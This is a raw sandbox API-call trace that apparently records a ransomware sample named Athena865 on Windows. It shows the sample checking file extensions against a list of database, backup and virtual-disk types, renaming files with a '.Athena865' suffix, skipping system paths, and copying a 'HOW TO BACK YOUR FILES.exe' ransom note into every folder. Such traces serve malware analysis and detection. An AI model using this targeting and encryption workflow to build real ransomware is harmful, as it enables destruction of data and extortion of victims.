[0042.828] lstrlenW (lpString="odb") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0042.828] lstrlenW (lpString="oqy") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0042.828] lstrlenW (lpString="ora") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0042.828] lstrlenW (lpString="orx") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0042.828] lstrlenW (lpString="owc") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0042.828] lstrlenW (lpString="p96") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0042.828] lstrlenW (lpString="p97") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0042.829] lstrlenW (lpString="pan") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0042.829] lstrlenW (lpString="pdb") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0042.829] lstrlenW (lpString="pdm") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0042.829] lstrlenW (lpString="pnz") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0042.829] lstrlenW (lpString="qry") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0042.829] lstrlenW (lpString="qvd") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0042.829] lstrlenW (lpString="rbf") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0042.829] lstrlenW (lpString="rctd") returned 4 [0042.829] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0042.829] lstrlenW (lpString="rod") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0042.829] lstrlenW (lpString="rodx") returned 4 [0042.829] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0042.829] lstrlenW (lpString="rpd") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0042.829] lstrlenW (lpString="rsd") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0042.829] lstrlenW (lpString="sas7bdat") returned 8 [0042.829] lstrcmpiW (lpString1="bute.exe", lpString2="sas7bdat") returned -1 [0042.829] lstrlenW (lpString="sbf") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0042.829] lstrlenW (lpString="scx") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0042.829] lstrlenW (lpString="sdb") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0042.829] lstrlenW (lpString="sdc") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0042.829] lstrlenW (lpString="sdf") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0042.829] lstrlenW (lpString="sis") returned 3 [0042.829] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0042.830] lstrlenW (lpString="spq") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0042.830] lstrlenW (lpString="te") returned 2 [0042.830] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0042.830] lstrlenW (lpString="teacher") returned 7 [0042.830] lstrcmpiW (lpString1="ute.exe", lpString2="teacher") returned 1 [0042.830] lstrlenW (lpString="tmd") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0042.830] lstrlenW (lpString="tps") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0042.830] lstrlenW (lpString="trc") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.830] lstrlenW (lpString="trc") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0042.830] lstrlenW (lpString="trm") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0042.830] lstrlenW (lpString="udb") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0042.830] lstrlenW (lpString="udl") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0042.830] lstrlenW (lpString="usr") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0042.830] lstrlenW (lpString="v12") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0042.830] lstrlenW (lpString="vis") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0042.830] lstrlenW (lpString="vpd") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0042.830] lstrlenW (lpString="vvv") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0042.830] lstrlenW (lpString="wdb") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0042.830] lstrlenW (lpString="wmdb") returned 4 [0042.830] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0042.830] lstrlenW (lpString="wrk") returned 3 [0042.830] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0042.830] lstrlenW (lpString="xdb") returned 3 [0042.831] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0042.831] lstrlenW (lpString="xld") returned 3 [0042.831] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0042.831] lstrlenW (lpString="xmlff") returned 5 [0042.831] lstrcmpiW (lpString1="e.exe", lpString2="xmlff") returned -1 [0042.831] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe.Athena865") returned 70 [0042.831] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\tribute.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\tribute.exe.athena865"), dwFlags=0x1) returned 1 [0042.831] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\tribute.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0042.831] GetLastError () returned 0x20 [0042.831] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S CreateFile error %i\r\n" | out: param_1="[ERROR] C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe CreateFile error 32\r\n") returned 90 [0042.831] lstrlenA (lpString="[ERROR] C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe CreateFile error 32\r\n") returned 90 [0042.831] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0042.831] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1996 [0042.832] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x5a, lpOverlapped=0x0) returned 1 [0042.832] CloseHandle (hObject=0x154) returned 1 [0042.833] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe.Athena865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\tribute.exe.athena865"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\tribute.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\tribute.exe"), dwFlags=0x1) returned 1 [0042.833] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0042.833] CloseHandle (hObject=0x0) returned 0 [0042.833] CloseHandle (hObject=0xffffffff) returned 0 [0042.833] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 1 [0042.833] lstrcmpiW (lpString1="VSTA", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.833] lstrcmpiW (lpString1="VSTA", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.833] lstrcmpiW (lpString1="VSTA", lpString2=".") returned 1 [0042.833] lstrcmpiW (lpString1="VSTA", lpString2="..") returned 1 [0042.833] lstrcmpiW (lpString1="VSTA", lpString2="windows") returned -1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="bootmgr") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="temp") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="pagefile.sys") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="boot") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="ids.txt") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="ntuser.dat") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="perflogs") returned 1 [0042.834] lstrcmpiW (lpString1="VSTA", lpString2="MSBuild") returned 1 [0042.834] lstrlenW (lpString="VSTA") returned 4 [0042.834] lstrcpyW (in: lpString1=0x241e8aa, lpString2="VSTA" | out: lpString1="VSTA") returned="VSTA" [0042.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530938 [0042.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6c) returned 0x52d408 [0042.834] lstrcatW (in: lpString1="VSTA", lpString2="\\" | out: lpString1="VSTA\\") returned="VSTA\\" [0042.834] lstrcatW (in: lpString1="VSTA\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="VSTA\\HOW TO BACK YOUR FILES.exe") returned="VSTA\\HOW TO BACK YOUR FILES.exe" [0042.834] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\VSTA\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\vsta\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.837] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1120b5b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1120b5b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VSTA", cAlternateFileName="")) returned 0 [0042.837] FindClose (in: hFindFile=0x529450 | out: hFindFile=0x529450) returned 1 [0042.837] ReleaseMutex (hMutex=0xec) returned 1 [0042.837] CloseHandle (hObject=0xec) returned 1 [0042.837] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Microsoft.NET" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0042.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x515e48 | out: hHeap=0x4f0000) returned 1 [0042.837] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50c5d8 | out: hHeap=0x4f0000) returned 1 [0042.837] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft.NET") returned 36 [0042.837] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\3F5D340F461F4824557CB9C2BE64E26A") returned 0xec [0042.837] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0042.837] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Microsoft.NET" | out: lpString1="C:\\Program Files (x86)\\Microsoft.NET") returned="C:\\Program Files (x86)\\Microsoft.NET" [0042.837] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0042.837] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.838] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.838] GetLastError () returned 0x0 [0042.838] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.838] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530d08 [0042.838] ReadFile (in: hFile=0xf4, lpBuffer=0x530d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.839] CloseHandle (hObject=0xf4) returned 1 [0042.839] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.839] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.839] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.839] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.839] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.839] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.839] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f1bbe30, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc54a820, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.839] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.839] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.839] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.839] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.839] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc54a820, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc54a820, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.839] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.839] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5abe1b90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Primary Interop Assemblies", cAlternateFileName="PRIMAR~1")) returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2=".") returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="..") returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="windows") returned -1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="bootmgr") returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="temp") returned -1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="pagefile.sys") returned 1 [0042.839] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="boot") returned 1 [0042.840] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="ids.txt") returned 1 [0042.840] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="ntuser.dat") returned 1 [0042.840] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="perflogs") returned 1 [0042.840] lstrcmpiW (lpString1="Primary Interop Assemblies", lpString2="MSBuild") returned 1 [0042.840] lstrlenW (lpString="Primary Interop Assemblies") returned 26 [0042.840] lstrcpyW (in: lpString1=0x241e892, lpString2="Primary Interop Assemblies" | out: lpString1="Primary Interop Assemblies") returned="Primary Interop Assemblies" [0042.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5d8 [0042.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x80) returned 0x519228 [0042.840] lstrcatW (in: lpString1="Primary Interop Assemblies", lpString2="\\" | out: lpString1="Primary Interop Assemblies\\") returned="Primary Interop Assemblies\\" [0042.840] lstrcatW (in: lpString1="Primary Interop Assemblies\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Primary Interop Assemblies\\HOW TO BACK YOUR FILES.exe") returned="Primary Interop Assemblies\\HOW TO BACK YOUR FILES.exe" [0042.840] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.846] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a491400, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x9ea84660, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0x9ea84660, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2=".") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="..") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="windows") returned -1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="bootmgr") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="temp") returned -1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="pagefile.sys") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="boot") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="ids.txt") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="ntuser.dat") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="perflogs") returned 1 [0042.846] lstrcmpiW (lpString1="RedistList", lpString2="MSBuild") returned 1 [0042.846] lstrlenW (lpString="RedistList") returned 10 [0042.846] lstrcpyW (in: lpString1=0x241e892, lpString2="RedistList" | out: lpString1="RedistList") returned="RedistList" [0042.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530950 [0042.846] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x60) returned 0x51bcf0 [0042.846] lstrcatW (in: lpString1="RedistList", lpString2="\\" | out: lpString1="RedistList\\") returned="RedistList\\" [0042.846] lstrcatW (in: lpString1="RedistList\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="RedistList\\HOW TO BACK YOUR FILES.exe") returned="RedistList\\HOW TO BACK YOUR FILES.exe" [0042.846] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\RedistList\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft.net\\redistlist\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.851] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414fea0, ftCreationTime.dwHighDateTime=0x1d56c3c, ftLastAccessTime.dwLowDateTime=0xb999cc70, ftLastAccessTime.dwHighDateTime=0x1d54cba, ftLastWriteTime.dwLowDateTime=0xb999cc70, ftLastWriteTime.dwHighDateTime=0x1d54cba, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vhs.exe", cAlternateFileName="")) returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2=".") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="..") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="windows") returned -1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="bootmgr") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="temp") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="pagefile.sys") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="boot") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="ids.txt") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="ntuser.dat") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="perflogs") returned 1 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2="MSBuild") returned 1 [0042.851] lstrlenW (lpString="vhs.exe") returned 7 [0042.851] lstrcpyW (in: lpString1=0x241e892, lpString2="vhs.exe" | out: lpString1="vhs.exe") returned="vhs.exe" [0042.851] lstrlenW (lpString="vhs.exe") returned 7 [0042.851] lstrlenW (lpString="Athena865") returned 9 [0042.851] lstrlenW (lpString=".dll") returned 4 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2=".dll") returned 1 [0042.851] lstrlenW (lpString=".lnk") returned 4 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2=".lnk") returned 1 [0042.851] lstrlenW (lpString=".ini") returned 4 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2=".ini") returned 1 [0042.851] lstrlenW (lpString=".sys") returned 4 [0042.851] lstrcmpiW (lpString1="vhs.exe", lpString2=".sys") returned 1 [0042.851] lstrlenW (lpString="vhs.exe") returned 7 [0042.851] lstrlenW (lpString="bak") returned 3 [0042.851] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.851] lstrlenW (lpString="ba_") returned 3 [0042.851] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.851] lstrlenW (lpString="dbb") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.852] lstrlenW (lpString="vmdk") returned 4 [0042.852] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.852] lstrlenW (lpString="rar") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.852] lstrlenW (lpString="zip") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.852] lstrlenW (lpString="tgz") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.852] lstrlenW (lpString="vbox") returned 4 [0042.852] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.852] lstrlenW (lpString="vdi") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.852] lstrlenW (lpString="vhd") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.852] lstrlenW (lpString="vhdx") returned 4 [0042.852] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.852] lstrlenW (lpString="avhd") returned 4 [0042.852] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.852] lstrlenW (lpString="db") returned 2 [0042.852] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.852] lstrlenW (lpString="db2") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.852] lstrlenW (lpString="db3") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.852] lstrlenW (lpString="dbf") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.852] lstrlenW (lpString="mdf") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.852] lstrlenW (lpString="mdb") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.852] lstrlenW (lpString="sql") returned 3 [0042.852] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.852] lstrlenW (lpString="sqlite") returned 6 [0042.852] lstrcmpiW (lpString1="hs.exe", lpString2="sqlite") returned -1 [0042.852] lstrlenW (lpString="sqlite3") returned 7 [0042.853] lstrlenW (lpString="sqlitedb") returned 8 [0042.853] lstrlenW (lpString="xml") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.853] lstrlenW (lpString="$er") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.853] lstrlenW (lpString="4dd") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.853] lstrlenW (lpString="4dl") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.853] lstrlenW (lpString="^^^") returned 3 [0042.853] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 